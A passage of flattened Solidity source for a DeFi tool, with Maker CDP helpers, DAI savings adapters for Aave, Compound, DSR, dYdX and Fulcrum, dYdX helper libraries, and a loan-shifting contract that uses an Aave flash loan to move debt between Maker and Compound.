_ilk Ilk of the Cdp function getAllDebt(address _vat, address _usr, address _urn, bytes32 _ilk) internal view returns (uint daiAmount) { (, uint rate,,,) = Vat(_vat).ilks(_ilk); (, uint art) = Vat(_vat).urns(_ilk, _urn); uint dai = Vat(_vat).dai(_usr); uint rad = sub(mul(art, rate), dai); daiAmount = rad / RAY; daiAmount = mul(daiAmount, RAY) < rad ? daiAmount + 1 : daiAmount; } /// @notice Gets the token address from the Join contract /// @param _joinAddr Address of the Join contract function getCollateralAddr(address _joinAddr) internal view returns (address) { return address(Join(_joinAddr).gem()); } /// @notice Gets CDP info (collateral, debt) /// @param _manager Manager contract /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getCdpInfo(Manager _manager, uint _cdpId, bytes32 _ilk) public view returns (uint, uint) { address vat = _manager.vat(); address urn = _manager.urns(_cdpId); (uint collateral, uint debt) = Vat(vat).urns(_ilk, urn); (,uint rate,,,) = Vat(vat).ilks(_ilk); return (collateral, rmul(debt, rate)); } /// @notice Address that owns the DSProxy that owns the CDP /// @param _manager Manager contract /// @param _cdpId Id of the CDP function getOwner(Manager _manager, uint _cdpId) public view returns (address) { DSProxy proxy = DSProxy(uint160(_manager.owns(_cdpId))); return proxy.owner(); } } abstract contract ILendingPool { function flashLoan( address payable _receiver, address _reserve, uint _amount, bytes calldata _params) external virtual; } abstract contract ProtocolInterface { function deposit(address _user, uint256 _amount) public virtual; function withdraw(address _user, uint256 _amount) public virtual; } contract SavingsLogger { event Deposit(address indexed sender, uint8 protocol, uint256 amount); event Withdraw(address indexed sender, uint8 protocol, uint256 amount); event Swap(address indexed sender, uint8 fromProtocol, uint8 toProtocol, uint256 amount); function logDeposit(address _sender, uint8 _protocol, uint256 _amount) external { emit Deposit(_sender, _protocol, _amount); } function logWithdraw(address _sender, uint8 _protocol, uint256 _amount) external { emit Withdraw(_sender, _protocol, _amount); } function logSwap(address _sender, uint8 _protocolFrom, uint8 _protocolTo, uint256 _amount) external { emit Swap(_sender, _protocolFrom, _protocolTo, _amount); } } contract AaveSavingsProtocol is ProtocolInterface, DSAuth { address public constant ADAI_ADDRESS = 0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d; address public constant AAVE_LENDING_POOL = 0x398eC7346DcD622eDc5ae82352F02bE94C62d119; address public constant AAVE_LENDING_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; function deposit(address _user, uint _amount) public override { require(msg.sender == _user); // get dai from user require(ERC20(DAI_ADDRESS).transferFrom(_user, address(this), _amount)); ERC20(DAI_ADDRESS).approve(AAVE_LENDING_POOL_CORE, uint(-1)); ILendingPool(AAVE_LENDING_POOL).deposit(DAI_ADDRESS, _amount, 0); ERC20(ADAI_ADDRESS).transfer(_user, ERC20(ADAI_ADDRESS).balanceOf(address(this))); } function withdraw(address _user, uint _amount) public override { require(msg.sender == _user); require(ERC20(ADAI_ADDRESS).transferFrom(_user, address(this), _amount)); IAToken(ADAI_ADDRESS).redeem(_amount); // return dai we have to user ERC20(DAI_ADDRESS).transfer(_user, _amount); } } contract CompoundSavingsProtocol { address public constant NEW_CDAI_ADDRESS = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; CTokenInterface public constant cDaiContract = CTokenInterface(NEW_CDAI_ADDRESS); function compDeposit(address _user, uint _amount) internal { // get dai from user require(ERC20(DAI_ADDRESS).transferFrom(_user, address(this), _amount)); // mainnet only ERC20(DAI_ADDRESS).approve(NEW_CDAI_ADDRESS, uint(-1)); // mint cDai require(cDaiContract.mint(_amount) == 0, "Failed Mint"); } function compWithdraw(address _user, uint _amount) internal { // transfer all users balance to this contract require(cDaiContract.transferFrom(_user, address(this), ERC20(NEW_CDAI_ADDRESS).balanceOf(_user))); // approve cDai to compound contract cDaiContract.approve(NEW_CDAI_ADDRESS, uint(-1)); // get dai from cDai contract require(cDaiContract.redeemUnderlying(_amount) == 0, "Reedem Failed"); // return to user balance we didn't spend uint cDaiBalance = cDaiContract.balanceOf(address(this)); if (cDaiBalance > 0) { cDaiContract.transfer(_user, cDaiBalance); } // return dai we have to user ERC20(DAI_ADDRESS).transfer(_user, _amount); } } abstract contract VatLike { function can(address, address) virtual public view returns (uint); function ilks(bytes32) virtual public view returns (uint, uint, uint, uint, uint); function dai(address) virtual public view returns (uint); function urns(bytes32, address) virtual public view returns (uint, uint); function frob(bytes32, address, address, address, int, int) virtual public; function hope(address) virtual public; function move(address, address, uint) virtual public; } abstract contract PotLike { function pie(address) virtual public view returns (uint); function drip() virtual public returns (uint); function join(uint) virtual public; function exit(uint) virtual public; } abstract contract GemLike { function approve(address, uint) virtual public; function transfer(address, uint) virtual public; function transferFrom(address, address, uint) virtual public; function deposit() virtual public payable; function withdraw(uint) virtual public; } abstract contract DaiJoinLike { function vat() virtual public returns (VatLike); function dai() virtual public returns (GemLike); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; } contract DSRSavingsProtocol is DSMath { // Mainnet address public constant POT_ADDRESS = 0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7; address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; function dsrDeposit(uint _amount, bool _fromUser) internal { VatLike vat = DaiJoinLike(DAI_JOIN_ADDRESS).vat(); uint chi = PotLike(POT_ADDRESS).drip(); daiJoin_join(DAI_JOIN_ADDRESS, address(this), _amount, _fromUser); if (vat.can(address(this), address(POT_ADDRESS)) == 0) { vat.hope(POT_ADDRESS); } PotLike(POT_ADDRESS).join(mul(_amount, RAY) / chi); } function dsrWithdraw(uint _amount, bool _toUser) internal { VatLike vat = DaiJoinLike(DAI_JOIN_ADDRESS).vat(); uint chi = PotLike(POT_ADDRESS).drip(); uint pie = mul(_amount, RAY) / chi; PotLike(POT_ADDRESS).exit(pie); uint balance = DaiJoinLike(DAI_JOIN_ADDRESS).vat().dai(address(this)); if (vat.can(address(this), address(DAI_JOIN_ADDRESS)) == 0) { vat.hope(DAI_JOIN_ADDRESS); } address to; if (_toUser) { to = msg.sender; } else { to = address(this); } if (_amount == uint(-1)) { DaiJoinLike(DAI_JOIN_ADDRESS).exit(to, mul(chi, pie) / RAY); } else { DaiJoinLike(DAI_JOIN_ADDRESS).exit( to, balance >= mul(_amount, RAY) ? _amount : balance / RAY ); } } function daiJoin_join(address apt, address urn, uint wad, bool _fromUser) internal { if (_fromUser) { DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad); } DaiJoinLike(apt).dai().approve(apt, wad); DaiJoinLike(apt).join(urn, wad); } } contract DydxSavingsProtocol is ProtocolInterface, DSAuth { address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; ISoloMargin public soloMargin; address public savingsProxy; uint daiMarketId = 3; constructor() public { soloMargin = ISoloMargin(SOLO_MARGIN_ADDRESS); } function addSavingsProxy(address _savingsProxy) public auth { savingsProxy = _savingsProxy; } function deposit(address _user, uint _amount) public override { require(msg.sender == _user); Account.Info[] memory accounts = new Account.Info[](1); accounts[0] = getAccount(_user, 0); Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](1); Types.AssetAmount memory amount = Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: _amount }); actions[0] = Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: amount, primaryMarketId: daiMarketId, otherAddress: _user, secondaryMarketId: 0, //not used otherAccountId: 0, //not used data: "" //not used }); soloMargin.operate(accounts, actions); } function withdraw(address _user, uint _amount) public override { require(msg.sender == _user); Account.Info[] memory accounts = new Account.Info[](1); accounts[0] = getAccount(_user, 0); Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](1); Types.AssetAmount memory amount = Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: _amount }); actions[0] = Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: amount, primaryMarketId: daiMarketId, otherAddress: _user, secondaryMarketId: 0, //not used otherAccountId: 0, //not used data: "" //not used }); soloMargin.operate(accounts, actions); } function getWeiBalance(address _user, uint _index) public view returns(Types.Wei memory) { Types.Wei[] memory weiBalances; (,,weiBalances) = soloMargin.getAccountBalances(getAccount(_user, _index)); return weiBalances[daiMarketId]; } function getParBalance(address _user, uint _index) public view returns(Types.Par memory) { Types.Par[] memory parBalances; (,parBalances,) = soloMargin.getAccountBalances(getAccount(_user, _index)); return parBalances[daiMarketId]; } function getAccount(address _user, uint _index) public pure returns(Account.Info memory) { Account.Info memory account = Account.Info({ owner: _user, number: _index }); return account; } } abstract contract ISoloMargin { struct OperatorArg { address operator; bool trusted; } function operate( Account.Info[] memory accounts, Actions.ActionArgs[] memory actions ) public virtual; function getAccountBalances( Account.Info memory account ) public view virtual returns ( address[] memory, Types.Par[] memory, Types.Wei[] memory ); function setOperators( OperatorArg[] memory args ) public virtual; function getNumMarkets() public view virtual returns (uint256); function getMarketTokenAddress(uint256 marketId) public view virtual returns (address); } library Account { // ============ Enums ============ /* * Most-recently-cached account status. * * Normal: Can only be liquidated if the account values are violating the global margin-ratio. * Liquid: Can be liquidated no matter the account values. * Can be vaporized if there are no more positive account values. * Vapor: Has only negative (or zeroed) account values. Can be vaporized. * */ enum Status { Normal, Liquid, Vapor } // ============ Structs ============ // Represents the unique key that specifies an account struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } // The complete storage for any account struct Storage { mapping (uint256 => Types.Par) balances; // Mapping from marketId to principal Status status; } // ============ Library Functions ============ function equals( Info memory a, Info memory b ) internal pure returns (bool) { return a.owner == b.owner && a.number == b.number; } } library Actions { // ============ Constants ============ bytes32 constant FILE = "Actions"; // ============ Enums ============ enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (externally) Sell, // sell an amount of some token (externally) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } enum AccountLayout { OnePrimary, TwoPrimary, PrimaryAndSecondary } enum MarketLayout { ZeroMarkets, OneMarket, TwoMarkets } // ============ Structs ============ /* * Arguments that are passed to Solo in an ordered list as part of a single operation. * Each ActionArgs has an actionType which specifies which action struct that this data will be * parsed into before being processed. */ struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } // ============ Action Types ============ /* * Moves tokens from an address to Solo. Can either repay a borrow or provide additional supply. */ struct DepositArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address from; } /* * Moves tokens from Solo to another address. Can either borrow tokens or reduce the amount * previously supplied. */ struct WithdrawArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address to; } /* * Transfers balance between two accounts. The msg.sender must be an operator for both accounts. * The amount field applies to accountOne. * This action does not require any token movement since the trade is done internally to Solo. */ struct TransferArgs { Types.AssetAmount amount; Account.Info accountOne; Account.Info accountTwo; uint256 market; } /* * Acquires a certain amount of tokens by spending other tokens. Sends takerMarket tokens to the * specified exchangeWrapper contract and expects makerMarket tokens in return. The amount field * applies to the makerMarket. */ struct BuyArgs { Types.AssetAmount amount; Account.Info account; uint256 makerMarket; uint256 takerMarket; address exchangeWrapper; bytes orderData; } /* * Spends a certain amount of tokens to acquire other tokens. Sends takerMarket tokens to the * specified exchangeWrapper and expects makerMarket tokens in return. The amount field applies * to the takerMarket. */ struct SellArgs { Types.AssetAmount amount; Account.Info account; uint256 takerMarket; uint256 makerMarket; address exchangeWrapper; bytes orderData; } /* * Trades balances between two accounts using any external contract that implements the * AutoTrader interface. The AutoTrader contract must be an operator for the makerAccount (for * which it is trading on-behalf-of). The amount field applies to the makerAccount and the * inputMarket. This proposed change to the makerAccount is passed to the AutoTrader which will * quote a change for the makerAccount in the outputMarket (or will disallow the trade). * This action does not require any token movement since the trade is done internally to Solo. */ struct TradeArgs { Types.AssetAmount amount; Account.Info takerAccount; Account.Info makerAccount; uint256 inputMarket; uint256 outputMarket; address autoTrader; bytes tradeData; } /* * Each account must maintain a certain margin-ratio (specified globally). If the account falls * below this margin-ratio, it can be liquidated by any other account. This allows anyone else * (arbitrageurs) to repay any borrowed asset (owedMarket) of the liquidating account in * exchange for any collateral asset (heldMarket) of the liquidAccount. The ratio is determined * by the price ratio (given by the oracles) plus a spread (specified globally). Liquidating an * account also sets a flag on the account that the account is being liquidated. This allows * anyone to continue liquidating the account until there are no more borrows being taken by the * liquidating account. Liquidators do not have to liquidate the entire account all at once but * can liquidate as much as they choose. The liquidating flag allows liquidators to continue * liquidating the account even if it becomes collateralized through partial liquidation or * price movement. */ struct LiquidateArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info liquidAccount; uint256 owedMarket; uint256 heldMarket; } /* * Similar to liquidate, but vaporAccounts are accounts that have only negative balances * remaining. The arbitrageur pays back the negative asset (owedMarket) of the vaporAccount in * exchange for a collateral asset (heldMarket) at a favorable spread. However, since the * liquidAccount has no collateral assets, the collateral must come from Solo's excess tokens. */ struct VaporizeArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info vaporAccount; uint256 owedMarket; uint256 heldMarket; } /* * Passes arbitrary bytes of data to an external contract that implements the Callee interface. * Does not change any asset amounts. This function may be useful for setting certain variables * on layer-two contracts for certain accounts without having to make a separate Ethereum * transaction for doing so. Also, the second-layer contracts can ensure that the call is coming * from an operator of the particular account. */ struct CallArgs { Account.Info account; address callee; bytes data; } // ============ Helper Functions ============ function getMarketLayout( ActionType actionType ) internal pure returns (MarketLayout) { if ( actionType == Actions.ActionType.Deposit || actionType == Actions.ActionType.Withdraw || actionType == Actions.ActionType.Transfer ) { return MarketLayout.OneMarket; } else if (actionType == Actions.ActionType.Call) { return MarketLayout.ZeroMarkets; } return MarketLayout.TwoMarkets; } function getAccountLayout( ActionType actionType ) internal pure returns (AccountLayout) { if ( actionType == Actions.ActionType.Transfer || actionType == Actions.ActionType.Trade ) { return AccountLayout.TwoPrimary; } else if ( actionType == Actions.ActionType.Liquidate || actionType == Actions.ActionType.Vaporize ) { return AccountLayout.PrimaryAndSecondary; } return AccountLayout.OnePrimary; } // ============ Parsing Functions ============ function parseDepositArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (DepositArgs memory) { assert(args.actionType == ActionType.Deposit); return DepositArgs({ amount: args.amount, account: accounts[args.accountId], market: args.primaryMarketId, from: args.otherAddress }); } function parseWithdrawArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (WithdrawArgs memory) { assert(args.actionType == ActionType.Withdraw); return WithdrawArgs({ amount: args.amount, account: accounts[args.accountId], market: args.primaryMarketId, to: args.otherAddress }); } function parseTransferArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (TransferArgs memory) { assert(args.actionType == ActionType.Transfer); return TransferArgs({ amount: args.amount, accountOne: accounts[args.accountId], accountTwo: accounts[args.otherAccountId], market: args.primaryMarketId }); } function parseBuyArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (BuyArgs memory) { assert(args.actionType == ActionType.Buy); return BuyArgs({ amount: args.amount, account: accounts[args.accountId], makerMarket: args.primaryMarketId, takerMarket: args.secondaryMarketId, exchangeWrapper: args.otherAddress, orderData: args.data }); } function parseSellArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (SellArgs memory) { assert(args.actionType == ActionType.Sell); return SellArgs({ amount: args.amount, account: accounts[args.accountId], takerMarket: args.primaryMarketId, makerMarket: args.secondaryMarketId, exchangeWrapper: args.otherAddress, orderData: args.data }); } function parseTradeArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (TradeArgs memory) { assert(args.actionType == ActionType.Trade); return TradeArgs({ amount: args.amount, takerAccount: accounts[args.accountId], makerAccount: accounts[args.otherAccountId], inputMarket: args.primaryMarketId, outputMarket: args.secondaryMarketId, autoTrader: args.otherAddress, tradeData: args.data }); } function parseLiquidateArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (LiquidateArgs memory) { assert(args.actionType == ActionType.Liquidate); return LiquidateArgs({ amount: args.amount, solidAccount: accounts[args.accountId], liquidAccount: accounts[args.otherAccountId], owedMarket: args.primaryMarketId, heldMarket: args.secondaryMarketId }); } function parseVaporizeArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (VaporizeArgs memory) { assert(args.actionType == ActionType.Vaporize); return VaporizeArgs({ amount: args.amount, solidAccount: accounts[args.accountId], vaporAccount: accounts[args.otherAccountId], owedMarket: args.primaryMarketId, heldMarket: args.secondaryMarketId }); } function parseCallArgs( Account.Info[] memory accounts, ActionArgs memory args ) internal pure returns (CallArgs memory) { assert(args.actionType == ActionType.Call); return CallArgs({ account: accounts[args.accountId], callee: args.otherAddress, data: args.data }); } } library Math { using SafeMath for uint256; // ============ Constants ============ bytes32 constant FILE = "Math"; // ============ Library Functions ============ /* * Return target * (numerator / denominator). */ function getPartial( uint256 target, uint256 numerator, uint256 denominator ) internal pure returns (uint256) { return target.mul(numerator).div(denominator); } /* * Return target * (numerator / denominator), but rounded up. */ function getPartialRoundUp( uint256 target, uint256 numerator, uint256 denominator ) internal pure returns (uint256) { if (target == 0 || numerator == 0) { // SafeMath will check for zero denominator return SafeMath.div(0, denominator); } return target.mul(numerator).sub(1).div(denominator).add(1); } function to128( uint256 number ) internal pure returns (uint128) { uint128 result = uint128(number); Require.that( result == number, FILE, "Unsafe cast to uint128" ); return result; } function to96( uint256 number ) internal pure returns (uint96) { uint96 result = uint96(number); Require.that( result == number, FILE, "Unsafe cast to uint96" ); return result; } function to32( uint256 number ) internal pure returns (uint32) { uint32 result = uint32(number); Require.that( result == number, FILE, "Unsafe cast to uint32" ); return result; } function min( uint256 a, uint256 b ) internal pure returns (uint256) { return a < b ? a : b; } function max( uint256 a, uint256 b ) internal pure returns (uint256) { return a > b ? a : b; } } library Require { // ============ Constants ============ uint256 constant ASCII_ZERO = 48; // '0' uint256 constant ASCII_RELATIVE_ZERO = 87; // 'a' - 10 uint256 constant ASCII_LOWER_EX = 120; // 'x' bytes2 constant COLON = 0x3a20; // ': ' bytes2 constant COMMA = 0x2c20; // ', ' bytes2 constant LPAREN = 0x203c; // ' <' byte constant RPAREN = 0x3e; // '>' uint256 constant FOUR_BIT_MASK = 0xf; // ============ Library Functions ============ function that( bool must, bytes32 file, bytes32 reason ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason) ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, uint256 payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, uint256 payloadA, uint256 payloadB ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA, uint256 payloadB ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, address payloadA, uint256 payloadB, uint256 payloadC ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), COMMA, stringify(payloadC), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, bytes32 payloadA ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), RPAREN ) ) ); } } function that( bool must, bytes32 file, bytes32 reason, bytes32 payloadA, uint256 payloadB, uint256 payloadC ) internal pure { if (!must) { revert( string( abi.encodePacked( stringifyTruncated(file), COLON, stringifyTruncated(reason), LPAREN, stringify(payloadA), COMMA, stringify(payloadB), COMMA, stringify(payloadC), RPAREN ) ) ); } } // ============ Private Functions ============ function stringifyTruncated( bytes32 input ) private pure returns (bytes memory) { // put the input bytes into the result bytes memory result = abi.encodePacked(input); // determine the length of the input by finding the location of the last non-zero byte for (uint256 i = 32; i > 0; ) { // reverse-for-loops with unsigned integer /* solium-disable-next-line security/no-modify-for-iter-var */ i--; // find the last non-zero byte in order to determine the length if (result[i] != 0) { uint256 length = i + 1; /* solium-disable-next-line security/no-inline-assembly */ assembly { mstore(result, length) // r.length = length; } return result; } } // all bytes are zero return new bytes(0); } function stringify( uint256 input ) private pure returns (bytes memory) { if (input == 0) { return "0"; } // get the final string length uint256 j = input; uint256 length; while (j != 0) { length++; j /= 10; } // allocate the string bytes memory bstr = new bytes(length); // populate the string starting with the least-significant character j = input; for (uint256 i = length; i > 0; ) { // reverse-for-loops with unsigned integer /* solium-disable-next-line security/no-modify-for-iter-var */ i--; // take last decimal digit bstr[i] = byte(uint8(ASCII_ZERO + (j % 10))); // remove the last decimal digit j /= 10; } return bstr; } function stringify( address input ) private pure returns (bytes memory) { uint256 z = uint256(input); // addresses are "0x" followed by 20 bytes of data which take up 2 characters each bytes memory result = new bytes(42); // populate the result with "0x" result[0] = byte(uint8(ASCII_ZERO)); result[1] = byte(uint8(ASCII_LOWER_EX)); // for each byte (starting from the lowest byte), populate the result with two characters for (uint256 i = 0; i < 20; i++) { // each byte takes two characters uint256 shift = i * 2; // populate the least-significant character result[41 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; // populate the most-significant character result[40 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; } return result; } function stringify( bytes32 input ) private pure returns (bytes memory) { uint256 z = uint256(input); // bytes32 are "0x" followed by 32 bytes of data which take up 2 characters each bytes memory result = new bytes(66); // populate the result with "0x" result[0] = byte(uint8(ASCII_ZERO)); result[1] = byte(uint8(ASCII_LOWER_EX)); // for each byte (starting from the lowest byte), populate the result with two characters for (uint256 i = 0; i < 32; i++) { // each byte takes two characters uint256 shift = i * 2; // populate the least-significant character result[65 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; // populate the most-significant character result[64 - shift] = char(z & FOUR_BIT_MASK); z = z >> 4; } return result; } function char( uint256 input ) private pure returns (byte) { // return ASCII digit (0-9) if (input < 10) { return byte(uint8(input + ASCII_ZERO)); } // return ASCII letter (a-f) return byte(uint8(input + ASCII_RELATIVE_ZERO)); } } library Types { using Math for uint256; // ============ AssetAmount ============ enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } // ============ Par (Principal Amount) ============ // Total borrow and supply values for a market struct TotalPar { uint128 borrow; uint128 supply; } // Individual principal amount for an account struct Par { bool sign; // true if positive uint128 value; } function zeroPar() internal pure returns (Par memory) { return Par({ sign: false, value: 0 }); } function sub( Par memory a, Par memory b ) internal pure returns (Par memory) { return add(a, negative(b)); } function add( Par memory a, Par memory b ) internal pure returns (Par memory) { Par memory result; if (a.sign == b.sign) { result.sign = a.sign; result.value = SafeMath.add(a.value, b.value).to128(); } else { if (a.value >= b.value) { result.sign = a.sign; result.value = SafeMath.sub(a.value, b.value).to128(); } else { result.sign = b.sign; result.value = SafeMath.sub(b.value, a.value).to128(); } } return result; } function equals( Par memory a, Par memory b ) internal pure returns (bool) { if (a.value == b.value) { if (a.value == 0) { return true; } return a.sign == b.sign; } return false; } function negative( Par memory a ) internal pure returns (Par memory) { return Par({ sign: !a.sign, value: a.value }); } function isNegative( Par memory a ) internal pure returns (bool) { return !a.sign && a.value > 0; } function isPositive( Par memory a ) internal pure returns (bool) { return a.sign && a.value > 0; } function isZero( Par memory a ) internal pure returns (bool) { return a.value == 0; } // ============ Wei (Token Amount) ============ // Individual token amount for an account struct Wei { bool sign; // true if positive uint256 value; } function zeroWei() internal pure returns (Wei memory) { return Wei({ sign: false, value: 0 }); } function sub( Wei memory a, Wei memory b ) internal pure returns (Wei memory) { return add(a, negative(b)); } function add( Wei memory a, Wei memory b ) internal pure returns (Wei memory) { Wei memory result; if (a.sign == b.sign) { result.sign = a.sign; result.value = SafeMath.add(a.value, b.value); } else { if (a.value >= b.value) { result.sign = a.sign; result.value = SafeMath.sub(a.value, b.value); } else { result.sign = b.sign; result.value = SafeMath.sub(b.value, a.value); } } return result; } function equals( Wei memory a, Wei memory b ) internal pure returns (bool) { if (a.value == b.value) { if (a.value == 0) { return true; } return a.sign == b.sign; } return false; } function negative( Wei memory a ) internal pure returns (Wei memory) { return Wei({ sign: !a.sign, value: a.value }); } function isNegative( Wei memory a ) internal pure returns (bool) { return !a.sign && a.value > 0; } function isPositive( Wei memory a ) internal pure returns (bool) { return a.sign && a.value > 0; } function isZero( Wei memory a ) internal pure returns (bool) { return a.value == 0; } } contract FulcrumSavingsProtocol is ProtocolInterface, DSAuth { address public constant NEW_IDAI_ADDRESS = 0x493C57C4763932315A328269E1ADaD09653B9081; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public savingsProxy; uint public decimals = 10 ** 18; function addSavingsProxy(address _savingsProxy) public auth { savingsProxy = _savingsProxy; } function deposit(address _user, uint _amount) public override { require(msg.sender == _user); // get dai from user require(ERC20(DAI_ADDRESS).transferFrom(_user, address(this), _amount)); // approve dai to Fulcrum ERC20(DAI_ADDRESS).approve(NEW_IDAI_ADDRESS, uint(-1)); // mint iDai ITokenInterface(NEW_IDAI_ADDRESS).mint(_user, _amount); } function withdraw(address _user, uint _amount) public override { require(msg.sender == _user); // transfer all users tokens to our contract require(ERC20(NEW_IDAI_ADDRESS).transferFrom(_user, address(this), ITokenInterface(NEW_IDAI_ADDRESS).balanceOf(_user))); // approve iDai to that contract ERC20(NEW_IDAI_ADDRESS).approve(NEW_IDAI_ADDRESS, uint(-1)); uint tokenPrice = ITokenInterface(NEW_IDAI_ADDRESS).tokenPrice(); // get dai from iDai contract ITokenInterface(NEW_IDAI_ADDRESS).burn(_user, _amount * decimals / tokenPrice); // return all remaining tokens back to user require(ERC20(NEW_IDAI_ADDRESS).transfer(_user, ITokenInterface(NEW_IDAI_ADDRESS).balanceOf(address(this)))); } } contract LoanShifterTaker is AdminAuth, ProxyPermission { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; Manager public constant manager = Manager(MANAGER_ADDRESS); ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x988B6CFBf3332FF98FFBdED665b1F53a61f92612); enum Protocols { MCD, COMPOUND } enum SwapType { NO_SWAP, COLL_SWAP, DEBT_SWAP } struct LoanShiftData { Protocols fromProtocol; Protocols toProtocol; SwapType swapType; bool wholeDebt; uint collAmount; uint debtAmount; address debtAddr1; address debtAddr2; address addrLoan1; address addrLoan2; uint id1; uint id2; } /// @notice Main entry point, it will move or transform a loan /// @dev Called through DSProxy function moveLoan( LoanShiftData memory _loanShift, SaverExchangeCore.ExchangeData memory _exchangeData ) public { if (_isSameTypeVaults(_loanShift)) { _forkVault(_loanShift); return; } _callCloseAndOpen(_loanShift, _exchangeData); } //////////////////////// INTERNAL FUNCTIONS ////////////////////////// function _callCloseAndOpen( LoanShiftData memory _loanShift, SaverExchangeCore.ExchangeData memory _exchangeData ) internal { address protoAddr = shifterRegistry.getAddr(getNameByProtocol(uint8(_loanShift.fromProtocol))); uint loanAmount = _loanShift.debtAmount; if (_loanShift.wholeDebt) { loanAmount = ILoanShifter(protoAddr).getLoanAmount(_loanShift.id1, _loanShift.addrLoan1); } ( uint[8] memory numData, address[8] memory addrData, uint8[3] memory enumData, bytes memory callData ) = _packData(_loanShift, _exchangeData); // encode data bytes memory paramsData = abi.encode(numData, addrData, enumData, callData, address(this)); address payable loanShifterReceiverAddr = payable(shifterRegistry.getAddr("LOAN_SHIFTER_RECEIVER")); // call FL givePermission(loanShifterReceiverAddr); lendingPool.flashLoan(loanShifterReceiverAddr, getLoanAddr(_loanShift.debtAddr1, _loanShift.fromProtocol), loanAmount, paramsData); removePermission(loanShifterReceiverAddr); } function _forkVault(LoanShiftData memory _loanShift) internal { // Create new Vault to move to if (_loanShift.id2 == 0) { _loanShift.id2 = manager.open(manager.ilks(_loanShift.id1), address(this)); } if (_loanShift.wholeDebt) { manager.shift(_loanShift.id1, _loanShift.id2); } } function _isSameTypeVaults(LoanShiftData memory _loanShift) internal pure returns (bool) { return _loanShift.fromProtocol == Protocols.MCD && _loanShift.toProtocol == Protocols.MCD && _loanShift.addrLoan1 == _loanShift.addrLoan2; } function getNameByProtocol(uint8 _proto) internal pure returns (string memory) { if (_proto == 0) { return "MCD_SHIFTER"; } else if (_proto == 1) { return "COMP_SHIFTER"; } } function getLoanAddr(address _address, Protocols _fromProtocol) internal returns (address) 